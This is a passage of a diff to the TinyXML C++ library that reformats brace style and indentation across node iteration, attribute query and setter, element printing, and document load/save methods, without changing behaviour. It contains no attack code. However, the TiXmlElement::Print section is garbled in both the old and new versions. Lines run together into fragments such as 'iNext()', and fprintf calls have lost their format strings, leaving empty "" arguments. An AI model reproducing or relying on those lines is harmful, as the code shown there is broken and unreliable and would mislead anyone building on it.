( node = lastChild; node; node = node->prev ) - { - if ( strcmp( node->Value(), _value ) == 0 ) - return node; - } - return 0; +const TiXmlNode* TiXmlNode::LastChild( const char * _value ) const { + const TiXmlNode* node; + for ( node = lastChild; node; node = node->prev ) { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; } -const TiXmlNode* TiXmlNode::IterateChildren( const TiXmlNode* previous ) const -{ - if ( !previous ) - { - return FirstChild(); - } - else - { - assert( previous->parent == this ); - return previous->NextSibling(); - } +const TiXmlNode* TiXmlNode::IterateChildren( const TiXmlNode* previous ) const { + if ( !previous ) { + return FirstChild(); + } else { + assert( previous->parent == this ); + return previous->NextSibling(); + } } -const TiXmlNode* TiXmlNode::IterateChildren( const char * val, const TiXmlNode* previous ) const -{ - if ( !previous ) - { - return FirstChild( val ); - } - else - { - assert( previous->parent == this ); - return previous->NextSibling( val ); - } +const TiXmlNode* TiXmlNode::IterateChildren( const char * val, const TiXmlNode* previous ) const { + if ( !previous ) { + return FirstChild( val ); + } else { + assert( previous->parent == this ); + return previous->NextSibling( val ); + } } -const TiXmlNode* TiXmlNode::NextSibling( const char * _value ) const -{ - const TiXmlNode* node; - for ( node = next; node; node = node->next ) - { - if ( strcmp( node->Value(), _value ) == 0 ) - return node; - } - return 0; +const TiXmlNode* TiXmlNode::NextSibling( const char * _value ) const { + const TiXmlNode* node; + for ( node = next; node; node = node->next ) { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; } -const TiXmlNode* TiXmlNode::PreviousSibling( const char * _value ) const -{ - const TiXmlNode* node; - for ( node = prev; node; node = node->prev ) - { - if ( strcmp( node->Value(), _value ) == 0 ) - return node; - } - return 0; +const TiXmlNode* TiXmlNode::PreviousSibling( const char * _value ) const { + const TiXmlNode* node; + for ( node = prev; node; node = node->prev ) { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; } -void TiXmlElement::RemoveAttribute( const char * name ) -{ - #ifdef TIXML_USE_STL - TIXML_STRING str( name ); - TiXmlAttribute* node = attributeSet.Find( str ); - #else - TiXmlAttribute* node = attributeSet.Find( name ); - #endif - if ( node ) - { - attributeSet.Remove( node ); - delete node; - } +void TiXmlElement::RemoveAttribute( const char * name ) { +#ifdef TIXML_USE_STL + TIXML_STRING str( name ); + TiXmlAttribute* node = attributeSet.Find( str ); +#else + TiXmlAttribute* node = attributeSet.Find( name ); +#endif + if ( node ) { + attributeSet.Remove( node ); + delete node; + } } -const TiXmlElement* TiXmlNode::FirstChildElement() const -{ - const TiXmlNode* node; +const TiXmlElement* TiXmlNode::FirstChildElement() const { + const TiXmlNode* node; - for ( node = FirstChild(); - node; - node = node->NextSibling() ) - { - if ( node->ToElement() ) - return node->ToElement(); - } - return 0; + for ( node = FirstChild(); + node; + node = node->NextSibling() ) { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; } -const TiXmlElement* TiXmlNode::FirstChildElement( const char * _value ) const -{ - const TiXmlNode* node; +const TiXmlElement* TiXmlNode::FirstChildElement( const char * _value ) const { + const TiXmlNode* node; - for ( node = FirstChild( _value ); - node; - node = node->NextSibling( _value ) ) - { - if ( node->ToElement() ) - return node->ToElement(); - } - return 0; + for ( node = FirstChild( _value ); + node; + node = node->NextSibling( _value ) ) { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; } -const TiXmlElement* TiXmlNode::NextSiblingElement() const -{ - const TiXmlNode* node; +const TiXmlElement* TiXmlNode::NextSiblingElement() const { + const TiXmlNode* node; - for ( node = NextSibling(); - node; - node = node->NextSibling() ) - { - if ( node->ToElement() ) - return node->ToElement(); - } - return 0; + for ( node = NextSibling(); + node; + node = node->NextSibling() ) { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; } -const TiXmlElement* TiXmlNode::NextSiblingElement( const char * _value ) const -{ - const TiXmlNode* node; +const TiXmlElement* TiXmlNode::NextSiblingElement( const char * _value ) const { + const TiXmlNode* node; - for ( node = NextSibling( _value ); - node; - node = node->NextSibling( _value ) ) - { - if ( node->ToElement() ) - return node->ToElement(); - } - return 0; + for ( node = NextSibling( _value ); + node; + node = node->NextSibling( _value ) ) { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; } -const TiXmlDocument* TiXmlNode::GetDocument() const -{ - const TiXmlNode* node; +const TiXmlDocument* TiXmlNode::GetDocument() const { + const TiXmlNode* node; - for( node = this; node; node = node->parent ) - { - if ( node->ToDocument() ) - return node->ToDocument(); - } - return 0; + for( node = this; node; node = node->parent ) { + if ( node->ToDocument() ) + return node->ToDocument(); + } + return 0; } TiXmlElement::TiXmlElement (const char * _value) - : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) -{ - firstChild = lastChild = 0; - value = _value; + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) { + firstChild = lastChild = 0; + value = _value; } #ifdef TIXML_USE_STL TiXmlElement::TiXmlElement( const std::string& _value ) - : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) -{ - firstChild = lastChild = 0; - value = _value; + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) { + firstChild = lastChild = 0; + value = _value; } #endif TiXmlElement::TiXmlElement( const TiXmlElement& copy) - : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) -{ - firstChild = lastChild = 0; - copy.CopyTo( this ); + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) { + firstChild = lastChild = 0; + copy.CopyTo( this ); } -TiXmlElement& TiXmlElement::operator=( const TiXmlElement& base ) -{ - ClearThis(); - base.CopyTo( this ); - return *this; +TiXmlElement& TiXmlElement::operator=( const TiXmlElement& base ) { + ClearThis(); + base.CopyTo( this ); + return *this; } -TiXmlElement::~TiXmlElement() -{ - ClearThis(); +TiXmlElement::~TiXmlElement() { + ClearThis(); } -void TiXmlElement::ClearThis() -{ - Clear(); - while( attributeSet.First() ) - { - TiXmlAttribute* node = attributeSet.First(); - attributeSet.Remove( node ); - delete node; - } +void TiXmlElement::ClearThis() { + Clear(); + while( attributeSet.First() ) { + TiXmlAttribute* node = attributeSet.First(); + attributeSet.Remove( node ); + delete node; + } } -const char* TiXmlElement::Attribute( const char* name ) const -{ - const TiXmlAttribute* node = attributeSet.Find( name ); - if ( node ) - return node->Value(); - return 0; +const char* TiXmlElement::Attribute( const char* name ) const { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( node ) + return node->Value(); + return 0; } #ifdef TIXML_USE_STL -const std::string* TiXmlElement::Attribute( const std::string& name ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - if ( attrib ) - return &attrib->ValueStr(); - return 0; +const std::string* TiXmlElement::Attribute( const std::string& name ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( attrib ) + return &attrib->ValueStr(); + return 0; } #endif -const char* TiXmlElement::Attribute( const char* name, int* i ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - const char* result = 0; +const char* TiXmlElement::Attribute( const char* name, int* i ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const char* result = 0; - if ( attrib ) { - result = attrib->Value(); - if ( i ) { - attrib->QueryIntValue( i ); - } - } - return result; + if ( attrib ) { + result = attrib->Value(); + if ( i ) { + attrib->QueryIntValue( i ); + } + } + return result; } #ifdef TIXML_USE_STL -const std::string* TiXmlElement::Attribute( const std::string& name, int* i ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - const std::string* result = 0; +const std::string* TiXmlElement::Attribute( const std::string& name, int* i ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const std::string* result = 0; - if ( attrib ) { - result = &attrib->ValueStr(); - if ( i ) { - attrib->QueryIntValue( i ); - } - } - return result; + if ( attrib ) { + result = &attrib->ValueStr(); + if ( i ) { + attrib->QueryIntValue( i ); + } + } + return result; } #endif -const char* TiXmlElement::Attribute( const char* name, double* d ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - const char* result = 0; +const char* TiXmlElement::Attribute( const char* name, double* d ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const char* result = 0; - if ( attrib ) { - result = attrib->Value(); - if ( d ) { - attrib->QueryDoubleValue( d ); - } - } - return result; + if ( attrib ) { + result = attrib->Value(); + if ( d ) { + attrib->QueryDoubleValue( d ); + } + } + return result; } #ifdef TIXML_USE_STL -const std::string* TiXmlElement::Attribute( const std::string& name, double* d ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - const std::string* result = 0; +const std::string* TiXmlElement::Attribute( const std::string& name, double* d ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const std::string* result = 0; - if ( attrib ) { - result = &attrib->ValueStr(); - if ( d ) { - attrib->QueryDoubleValue( d ); - } - } - return result; + if ( attrib ) { + result = &attrib->ValueStr(); + if ( d ) { + attrib->QueryDoubleValue( d ); + } + } + return result; } #endif -int TiXmlElement::QueryIntAttribute( const char* name, int* ival ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - if ( !attrib ) - return TIXML_NO_ATTRIBUTE; - return attrib->QueryIntValue( ival ); +int TiXmlElement::QueryIntAttribute( const char* name, int* ival ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryIntValue( ival ); } -int TiXmlElement::QueryUnsignedAttribute( const char* name, unsigned* value ) const -{ - const TiXmlAttribute* node = attributeSet.Find( name ); - if ( !node ) - return TIXML_NO_ATTRIBUTE; +int TiXmlElement::QueryUnsignedAttribute( const char* name, unsigned* value ) const { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; - int ival = 0; - int result = node->QueryIntValue( &ival ); - *value = (unsigned)ival; - return result; + int ival = 0; + int result = node->QueryIntValue( &ival ); + *value = (unsigned)ival; + return result; } -int TiXmlElement::QueryBoolAttribute( const char* name, bool* bval ) const -{ - const TiXmlAttribute* node = attributeSet.Find( name ); - if ( !node ) - return TIXML_NO_ATTRIBUTE; +int TiXmlElement::QueryBoolAttribute( const char* name, bool* bval ) const { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; - int result = TIXML_WRONG_TYPE; - if ( StringEqual( node->Value(), "true", true, TIXML_ENCODING_UNKNOWN ) - || StringEqual( node->Value(), "yes", true, TIXML_ENCODING_UNKNOWN ) - || StringEqual( node->Value(), "1", true, TIXML_ENCODING_UNKNOWN ) ) - { - *bval = true; - result = TIXML_SUCCESS; - } - else if ( StringEqual( node->Value(), "false", true, TIXML_ENCODING_UNKNOWN ) - || StringEqual( node->Value(), "no", true, TIXML_ENCODING_UNKNOWN ) - || StringEqual( node->Value(), "0", true, TIXML_ENCODING_UNKNOWN ) ) - { - *bval = false; - result = TIXML_SUCCESS; - } - return result; + int result = TIXML_WRONG_TYPE; + if ( StringEqual( node->Value(), "true", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "yes", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "1", true, TIXML_ENCODING_UNKNOWN ) ) { + *bval = true; + result = TIXML_SUCCESS; + } else if ( StringEqual( node->Value(), "false", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "no", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "0", true, TIXML_ENCODING_UNKNOWN ) ) { + *bval = false; + result = TIXML_SUCCESS; + } + return result; } #ifdef TIXML_USE_STL -int TiXmlElement::QueryIntAttribute( const std::string& name, int* ival ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - if ( !attrib ) - return TIXML_NO_ATTRIBUTE; - return attrib->QueryIntValue( ival ); +int TiXmlElement::QueryIntAttribute( const std::string& name, int* ival ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryIntValue( ival ); } #endif -int TiXmlElement::QueryDoubleAttribute( const char* name, double* dval ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - if ( !attrib ) - return TIXML_NO_ATTRIBUTE; - return attrib->QueryDoubleValue( dval ); +int TiXmlElement::QueryDoubleAttribute( const char* name, double* dval ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryDoubleValue( dval ); } #ifdef TIXML_USE_STL -int TiXmlElement::QueryDoubleAttribute( const std::string& name, double* dval ) const -{ - const TiXmlAttribute* attrib = attributeSet.Find( name ); - if ( !attrib ) - return TIXML_NO_ATTRIBUTE; - return attrib->QueryDoubleValue( dval ); +int TiXmlElement::QueryDoubleAttribute( const std::string& name, double* dval ) const { + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryDoubleValue( dval ); } #endif -void TiXmlElement::SetAttribute( const char * name, int val ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); - if ( attrib ) { - attrib->SetIntValue( val ); - } +void TiXmlElement::SetAttribute( const char * name, int val ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetIntValue( val ); + } } #ifdef TIXML_USE_STL -void TiXmlElement::SetAttribute( const std::string& name, int val ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); - if ( attrib ) { - attrib->SetIntValue( val ); - } +void TiXmlElement::SetAttribute( const std::string& name, int val ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetIntValue( val ); + } } #endif -void TiXmlElement::SetDoubleAttribute( const char * name, double val ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); - if ( attrib ) { - attrib->SetDoubleValue( val ); - } +void TiXmlElement::SetDoubleAttribute( const char * name, double val ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetDoubleValue( val ); + } } #ifdef TIXML_USE_STL -void TiXmlElement::SetDoubleAttribute( const std::string& name, double val ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); - if ( attrib ) { - attrib->SetDoubleValue( val ); - } +void TiXmlElement::SetDoubleAttribute( const std::string& name, double val ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetDoubleValue( val ); + } } #endif -void TiXmlElement::SetAttribute( const char * cname, const char * cvalue ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( cname ); - if ( attrib ) { - attrib->SetValue( cvalue ); - } +void TiXmlElement::SetAttribute( const char * cname, const char * cvalue ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( cname ); + if ( attrib ) { + attrib->SetValue( cvalue ); + } } #ifdef TIXML_USE_STL -void TiXmlElement::SetAttribute( const std::string& _name, const std::string& _value ) -{ - TiXmlAttribute* attrib = attributeSet.FindOrCreate( _name ); - if ( attrib ) { - attrib->SetValue( _value ); - } +void TiXmlElement::SetAttribute( const std::string& _name, const std::string& _value ) { + TiXmlAttribute* attrib = attributeSet.FindOrCreate( _name ); + if ( attrib ) { + attrib->SetValue( _value ); + } } #endif -void TiXmlElement::Print( FILE* cfile, int depth ) const -{ - int i; - assert( cfile ); - for ( i=0; iNext() ) - { - fprintf( cfile, " " ); - attrib->Print( cfile, depth ); - } + const TiXmlAttribute* attrib; + for ( attrib = attributeSet.First(); attrib; attrib = attrib->Next() ) { + fprintf( cfile, " " ); + attrib->Print( cfile, depth ); + } - // There are 3 different formatting approaches: - // 1) An element without children is printed as a node - // 2) An element with only a text child is printed as text - // 3) An element with children is printed on multiple lines. - TiXmlNode* node; - if ( !firstChild ) - { - fprintf( cfile, " />" ); - } - else if ( firstChild == lastChild && firstChild->ToText() ) - { - fprintf( cfile, ">" ); - firstChild->Print( cfile, depth + 1 ); - fprintf( cfile, "", value.c_str() ); - } - else - { - fprintf( cfile, ">" ); + // There are 3 different formatting approaches: + // 1) An element without children is printed as a node + // 2) An element with only a text child is printed as text + // 3) An element with children is printed on multiple lines. + TiXmlNode* node; + if ( !firstChild ) { + fprintf( cfile, " />" ); + } else if ( firstChild == lastChild && firstChild->ToText() ) { + fprintf( cfile, ">" ); + firstChild->Print( cfile, depth + 1 ); + fprintf( cfile, "", value.c_str() ); + } else { + fprintf( cfile, ">" ); - for ( node = firstChild; node; node=node->NextSibling() ) - { - if ( !node->ToText() ) - { - fprintf( cfile, "\n" ); - } - node->Print( cfile, depth+1 ); - } - fprintf( cfile, "\n" ); - for( i=0; i", value.c_str() ); - } + for ( node = firstChild; node; node=node->NextSibling() ) { + if ( !node->ToText() ) { + fprintf( cfile, "\n" ); + } + node->Print( cfile, depth+1 ); + } + fprintf( cfile, "\n" ); + for( i=0; i", value.c_str() ); + } } -void TiXmlElement::CopyTo( TiXmlElement* target ) const -{ - // superclass: - TiXmlNode::CopyTo( target ); +void TiXmlElement::CopyTo( TiXmlElement* target ) const { + // superclass: + TiXmlNode::CopyTo( target ); - // Element class: - // Clone the attributes, then clone the children. - const TiXmlAttribute* attribute = 0; - for( attribute = attributeSet.First(); - attribute; - attribute = attribute->Next() ) - { - target->SetAttribute( attribute->Name(), attribute->Value() ); - } + // Element class: + // Clone the attributes, then clone the children. + const TiXmlAttribute* attribute = 0; + for( attribute = attributeSet.First(); + attribute; + attribute = attribute->Next() ) { + target->SetAttribute( attribute->Name(), attribute->Value() ); + } - TiXmlNode* node = 0; - for ( node = firstChild; node; node = node->NextSibling() ) - { - target->LinkEndChild( node->Clone() ); - } + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) { + target->LinkEndChild( node->Clone() ); + } } -bool TiXmlElement::Accept( TiXmlVisitor* visitor ) const -{ - if ( visitor->VisitEnter( *this, attributeSet.First() ) ) - { - for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) - { - if ( !node->Accept( visitor ) ) - break; - } - } - return visitor->VisitExit( *this ); +bool TiXmlElement::Accept( TiXmlVisitor* visitor ) const { + if ( visitor->VisitEnter( *this, attributeSet.First() ) ) { + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { + if ( !node->Accept( visitor ) ) + break; + } + } + return visitor->VisitExit( *this ); } -TiXmlNode* TiXmlElement::Clone() const -{ - TiXmlElement* clone = new TIXML_NOTHROW TiXmlElement( Value() ); - if ( !clone ) - return 0; +TiXmlNode* TiXmlElement::Clone() const { + TiXmlElement* clone = new TIXML_NOTHROW TiXmlElement( Value() ); + if ( !clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } -const char* TiXmlElement::GetText() const -{ - const TiXmlNode* child = this->FirstChild(); - if ( child ) { - const TiXmlText* childText = child->ToText(); - if ( childText ) { - return childText->Value(); - } - } - return 0; +const char* TiXmlElement::GetText() const { + const TiXmlNode* child = this->FirstChild(); + if ( child ) { + const TiXmlText* childText = child->ToText(); + if ( childText ) { + return childText->Value(); + } + } + return 0; } -TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) -{ - tabsize = 4; - useMicrosoftBOM = false; - ClearError(); +TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) { + tabsize = 4; + useMicrosoftBOM = false; + ClearError(); } -TiXmlDocument::TiXmlDocument( const char * documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) -{ - tabsize = 4; - useMicrosoftBOM = false; - value = documentName; - ClearError(); +TiXmlDocument::TiXmlDocument( const char * documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) { + tabsize = 4; + useMicrosoftBOM = false; + value = documentName; + ClearError(); } #ifdef TIXML_USE_STL -TiXmlDocument::TiXmlDocument( const std::string& documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) -{ - tabsize = 4; - useMicrosoftBOM = false; - value = documentName; - ClearError(); +TiXmlDocument::TiXmlDocument( const std::string& documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) { + tabsize = 4; + useMicrosoftBOM = false; + value = documentName; + ClearError(); } #endif -TiXmlDocument::TiXmlDocument( const TiXmlDocument& copy ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) -{ - copy.CopyTo( this ); +TiXmlDocument::TiXmlDocument( const TiXmlDocument& copy ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) { + copy.CopyTo( this ); } -TiXmlDocument& TiXmlDocument::operator=( const TiXmlDocument& copy ) -{ - Clear(); - copy.CopyTo( this ); - return *this; +TiXmlDocument& TiXmlDocument::operator=( const TiXmlDocument& copy ) { + Clear(); + copy.CopyTo( this ); + return *this; } -bool TiXmlDocument::LoadFile( TiXmlEncoding encoding ) -{ - return LoadFile( Value(), encoding ); +bool TiXmlDocument::LoadFile( TiXmlEncoding encoding ) { + return LoadFile( Value(), encoding ); } -bool TiXmlDocument::SaveFile() const -{ - return SaveFile( Value() ); +bool TiXmlDocument::SaveFile() const { + return SaveFile( Value() ); } -bool TiXmlDocument::LoadFile( const char* _filename, TiXmlEncoding encoding ) -{ - TIXML_STRING filename( _filename ); - value = filename; +bool TiXmlDocument::LoadFile( const char* _filename, TiXmlEncoding encoding ) { + TIXML_STRING filename( _filename ); + value = filename; - // reading in binary mode so that tinyxml can normalize the EOL - FILE* file = TiXmlFOpen( value.c_str (), "rb" ); + // reading in binary mode so that tinyxml can normalize the EOL + FILE* file = TiXmlFOpen( value.c_str (), "rb" ); - if ( file ) - { - bool result = LoadFile( file, encoding ); - fclose( file ); - return result; - } - else - { - SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); - return false; - } + if ( file ) { + bool result = LoadFile( file, encoding ); + fclose( file ); + return result; + } else { + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } } -bool TiXmlDocument::LoadFile( FILE* file, TiXmlEncoding encoding ) -{ - if ( !file ) - { - SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); - return false; - } +bool TiXmlDocument::LoadFile( FILE* file, TiXmlEncoding encoding ) { + if ( !file ) { + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } - // Delete the existing data: - Clear(); - location.Clear(); + // Delete the existing data: + Clear(); + location.Clear(); - // Get the file size, so we can pre-allocate the string. HUGE speed impact. - long length = 0; - fseek( file, 0, SEEK_END ); - length = ftell( file ); - fseek( file, 0, SEEK_SET ); + // Get the file size, so we can pre-allocate the string. HUGE speed impact. + long length = 0; + fseek( file, 0, SEEK_END ); + length = ftell( file ); + fseek( file, 0, SEEK_SET ); - // Strange case, but good to handle up front. - if ( length <= 0 ) - { - SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return false; - } + // Strange case, but good to handle up front. + if ( length <= 0 ) { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } - // Subtle bug here. TinyXml did use fgets. But from the XML spec: - // 2.11 End-of-Line Handling - // - // - // ...the XML processor MUST behave as if it normalized all line breaks in external - // parsed entities (including the document entity) on input, before parsing, by translating - // both the two-character sequence #xD #xA and any #xD that is not followed by #xA to - // a single #xA character. - // - // - // It is not clear fgets does that, and certainly isn't clear it works cross platform. - // Generally, you expect fgets to translate from the convention of the OS to the c/unix - // convention, and not work generally. + // Subtle bug here. TinyXml did use fgets. But from the XML spec: + // 2.11 End-of-Line Handling + // + // + // ...the XML processor MUST behave as if it normalized all line breaks in external + // parsed entities (including the document entity) on input, before parsing, by translating + // both the two-character sequence #xD #xA and any #xD that is not followed by #xA to + // a single #xA character. + // + // + // It is not clear fgets does that, and certainly isn't clear it works cross platform. + // Generally, you expect fgets to translate from the convention of the OS to the c/unix + // convention, and not work generally. - /* - while( fgets( buf, sizeof(buf), file ) ) - { - data += buf; - } - */ + /* + while( fgets( buf, sizeof(buf), file ) ) + { + data += buf; + } + */ - char* buf = new TIXML_NOTHROW char[ length+1 ]; - if(!buf) { - SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); - return false; - } - buf[0] = 0; + char* buf = new TIXML_NOTHROW char[ length+1 ]; + if(!buf) { + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } + buf[0] = 0; - if ( fread( buf, length, 1, file ) != 1 ) { - delete [] buf; - SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); - return false; - } + if ( fread( buf, length, 1, file ) != 1 ) { + delete [] buf; + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } - // Process the buffer in place to normalize new lines. (See comment above.) - // Copies from the 'p' to 'q' pointer, where p can advance faster if - // a newline-carriage return is hit. - // - // Wikipedia: - // Systems based on ASCII or a compatible character set use either LF (Line feed, '\n', 0x0A, 10 in decimal) or - // CR (Carriage return, '\r', 0x0D, 13 in decimal) individually, or CR followed by LF (CR+LF, 0x0D 0x0A)... - // * LF: Multics, Unix and Unix-like systems (GNU/Linux, AIX, Xenix, Mac OS X, FreeBSD, etc.), BeOS, Amiga, RISC OS, and others - // * CR+LF: DEC RT-11 and most other early non-Unix, non-IBM OSes, CP/M, MP/M, DOS, OS/2, Microsoft Windows, Symbian OS - // * CR: Commodore 8-bit machines, Apple II family, Mac OS up to version 9 and OS-9 + // Process the buffer in place to normalize new lines. (See comment above.) + // Copies from the 'p' to 'q' pointer, where p can advance faster if + // a newline-carriage return is hit. + // + // Wikipedia: + // Systems based on ASCII or a compatible character set use either LF (Line feed, '\n', 0x0A, 10 in decimal) or + // CR (Carriage return, '\r', 0x0D, 13 in decimal) individually, or CR followed by LF (CR+LF, 0x0D 0x0A)... + // * LF: Multics, Unix and Unix-like systems (GNU/Linux, AIX, Xenix, Mac OS X, FreeBSD, etc.), BeOS, Amiga, RISC OS, and others + // * CR+LF: DEC RT-11 and most other early non-Unix, non-IBM OSes, CP/M, MP/M, DOS, OS/2, Microsoft Windows, Symbian OS + // * CR: Commodore 8-bit machines, Apple II family, Mac OS up to version 9 and OS-9 - const char* p = buf; // the read head - char* q = buf; // the write head - const char CR = 0x0d; - const char LF = 0x0a; + const char* p = buf; // the read head + char* q = buf; // the write head + const char CR = 0x0d; + const char LF = 0x0a; - buf[length] = 0; - while( *p ) { - assert( p < (buf+length) ); - assert( q <= (buf+length) ); - assert( q <= p ); + buf[length] = 0; + while( *p ) { + assert( p < (buf+length) ); + assert( q <= (buf+length) ); + assert( q <= p ); - if ( *p == CR ) { - *q++ = LF; - p++; - if ( *p == LF ) { // check for CR+LF (and skip LF) - p++; - } - } - else { - *q++ = *p++; - } - } - assert( q <= (buf+length) ); - *q = 0; + if ( *p == CR ) { + *q++ = LF; + p++; + if ( *p == LF ) { // check for CR+LF (and skip LF) + p++; + } + } else { + *q++ = *p++; + } + } + assert( q <= (buf+length) ); + *q = 0; - Parse( buf, 0, encoding ); + Parse( buf, 0, encoding ); - delete [] buf; - return !Error(); + delete [] buf; + return !Error(); } -bool TiXmlDocument::SaveFile( const char * filename ) const -{ - // The old c stuff lives on... - FILE* fp = TiXmlFOpen( filename, "w" ); - if ( fp ) - { - bool result = SaveFile( fp ); - fclose( fp ); - return result; - } - return false; +bool TiXmlDocument::SaveFile( const char * filename ) const { + // The old c stuff lives on... + FILE* fp = TiXmlFOpen( filename, "w" ); + if ( fp ) { + bool result = SaveFile( fp ); + fclose( fp ); + return result; + } + return false; } -bool TiXmlDocument::SaveFile( FILE* fp ) const -{ - if ( useMicrosoftBOM ) - { - const unsigned char TIXML_UTF_LEAD_0 = 0xefU; - const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; - const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; +bool TiXmlDocument::SaveFile( FILE* fp ) const { + if ( useMicrosoftBOM ) { + const unsigned char TIXML_UTF_LEAD_0 = 0xefU; + const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; + const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; - fputc( TIXML_UTF_LEAD_0, fp ); - fputc( TIXML_UTF_LEAD_1, fp ); - fputc( TIXML_UTF_LEAD_2, fp ); - } - Print( fp, 0 ); - return (ferror(fp) == 0); + fputc( TIXML_UTF_LEAD_0, fp ); + fputc( TIXML_UTF_LEAD_1, fp ); + fputc( TIXML_UTF_LEAD_2, fp ); + } + Print( fp, 0 ); + return (ferror(fp) == 0); } -void TiXmlDocument::CopyTo( TiXmlDocument* target ) const -{ - TiXmlNode::CopyTo( target ); +void TiXmlDocument::CopyTo( TiXmlDocument* target ) const { + TiXmlNode::CopyTo( target ); - target->error = error; - target->errorId = errorId; - target->errorDesc = errorDesc; - target->tabsize = tabsize; - target->errorLocation = errorLocation; - target->useMicrosoftBOM = useMicrosoftBOM; + target->error = error; + target->errorId = errorId; + target->errorDesc = errorDesc; + target->tabsize = tabsize; + target->errorLocation = errorLocation; + target->useMicrosoftBOM = useMicrosoftBOM; - TiXmlNode* node = 0; - for ( node = firstChild; node; node = node->NextSibling() ) - { - target->LinkEndChild( node->Clone() ); - } + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) { + target->LinkEndChild( node->Clone() ); + } } -TiXmlNode* TiXmlDocument::Clone() const -{ - TiXmlDocument* clone = new TIXML_NOTHROW TiXmlDocument(); - if ( !clone ) - return 0; +TiXmlNode* TiXmlDocument::Clone() const { + TiXmlDocument* clone = new TIXML_NOTHROW TiXmlDocument(); + if ( 